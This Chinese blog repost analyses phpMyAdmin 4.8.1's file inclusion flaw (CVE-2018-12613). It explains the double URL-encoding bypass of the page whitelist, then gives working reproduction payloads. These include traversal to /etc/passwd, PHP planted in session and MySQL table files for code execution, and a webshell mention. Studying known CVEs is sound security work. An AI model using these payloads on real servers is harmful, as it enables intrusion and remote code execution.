欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

PhpMyAdmin4.8.1文件包含漏洞分析及复现利用(CVE-2018-12613)

程序员文章站 2022-07-15 15:54:20
...

漏洞原理

攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。
攻击者必须经过身份验证,但在这些情况下除外:
$ cfg [‘AllowArbitraryServer’] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码;
$ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。

影响版本

phpMyAdmin-4.8.0/4.8.1

漏洞成因

在phpMyAdmin 4.8.1版本的index.php文件中

$target_blacklist = array (
    'import.php', 'export.php'
);
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])  //传入不能为空
    && is_string($_REQUEST['target'])  //必须是一个字符串
    && ! preg_match('/^index/', $_REQUEST['target'])  //不能以index开头
    //黑名单判断。在index.php中已经定义好了target_blacklist的值,只要不等于import.php和export.php这两个值就可以。
    && ! in_array($_REQUEST['target'], $target_blacklist)  //不能在数组target_blacklist中
    && Core::checkPageValidity($_REQUEST['target'])  //checkPageValidit检查后为真
) {
    include $_REQUEST['target'];
    exit;
}

关于checkPageValidity()方法实现

//传入target,whitelist为默认形参,也就是空的数组。
public static function checkPageValidity(&$page, array $whitelist = [])
    {	
        if (empty($whitelist)) {
            // 白名单
            //$whitelist在函数被调用的时候,没有值引用$goto_whitelist的内容
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            //$page没有定义或$page不为字符串时 返回false
            return false;
        }

        if (in_array($page, $whitelist)) { // in_array():搜索数组中是否存在指定的值
            //$page存在$whitelist中的value返回true
            return true;
        }
        $_page = mb_substr( //mb_substr():返回字符串的一部分
            $page,
            0,
            mb_strpos($page . '?', '?')
            //返回从开始到问号之间的字符串
        );
        if (in_array($_page, $whitelist)) {
            //$_page存在$whitelist中的value返回true
            return true;
        }	
        $_page = urldecode($page);//urldecode():解码已编码的URL
    //经过urldecode函数解码后的$_page存在$whitelist中的某个值则返回true
        $_page = mb_substr(//返回从开始到问号之间的字符串
            $_page,
            0,
            mb_strpos($_page . '?', '?')
            //mb_strpos():查找在字符串中第一次出现的位置(大小写敏感)
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

关于goto_whitelist的代码

public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
);

回到checkPageValidity()方法中的 $_page = urldecode($page);及以下部分代码
如果page在白名单中就会直接return true,但这里考虑到了可能带参数的情况。mb_strpos()函数是查找string在另一个string中首次出现的位置。_page变量是获取page问号前的内容,是考虑到target有参数的情况,只要_page在白名单中就直接return true。但还考虑了url编码的情况,所以如果这步判断未成功,下一步又进行url解码。

二次URL解码
利用二次编码“%253f”可以绕过checkPageValidity()的检查
例如传入:?target=db_datadict.php%253f
服务器在接收到URL请求连接后就会自动对URL进行一次解码为:?target=db_datadict.php%3f在遇到$_page = urldecode($page);二次解码后为:?target=db_datadict.php?这样就符合白名单的要求“ ?符号前的文件名在白名单序列中”

由于二次解码只是在checkPageValidity()中执行的,在index.php中只做过一次解码:?target=db_datadict.php%3f由此就造成了文件包含漏洞
 

漏洞复现

注意将?进行两次URL编码为"%253f"

一、任意文件包含

linux下

http://localhost:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
PhpMyAdmin4.8.1文件包含漏洞分析及复现利用(CVE-2018-12613)

二、包含Session文件

利用phpMyAdmin 4.8.1后台文件包含漏洞,获取登录phpmyadmin系统所产生的sess_sessionID文件,通常linux系统中存放路径为/tmp/sess_[当前会话session值]
写入phpinfo select '<?php phpinfo();?>';
PhpMyAdmin4.8.1文件包含漏洞分析及复现利用(CVE-2018-12613)
F12找到phpmyadmin页面session值
PhpMyAdmin4.8.1文件包含漏洞分析及复现利用(CVE-2018-12613)
访问/index.php?target=db_sql.php%253f/…/…/…/…/…/…/tmp/sess_[session]
PhpMyAdmin4.8.1文件包含漏洞分析及复现利用(CVE-2018-12613)

三、任意命令执行

写入select '<?php echo ‘ls’ ?>';
访问/index.php?target=db_sql.php%253f/…/…/…/…/…/…/tmp/sess_[session]
PhpMyAdmin4.8.1文件包含漏洞分析及复现利用(CVE-2018-12613)

四、任意代码执行

查询数据库路径
show global variables like "%datadir%";

PhpMyAdmin4.8.1文件包含漏洞分析及复现利用(CVE-2018-12613)
①向数据库写入代码 (如果是root/写入权限)
create database rce;
use rce;
create table rce(code varchar(100));
insert into rce(code) VALUES("<?php phpinfo(); ?>");
PhpMyAdmin4.8.1文件包含漏洞分析及复现利用(CVE-2018-12613)
访问即包含该数据库文件
?target=db_datadict.php%253f/../../../../../../../../../var/lib/mysql/mysql/rce.MYD

②也可尝试写进一句话木马

 
参考文章:
https://www.cnblogs.com/wangyuyang1016/p/12014016.html#cve-2018-12613-phpmyadmin481%E8%BF%9C%E7%A8%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0
https://blog.csdn.net/Eastmount/article/details/103925419/
 
GOT IT!

 
******************************************************
小实验小结,具体测试利用方式需根据具体实践场景~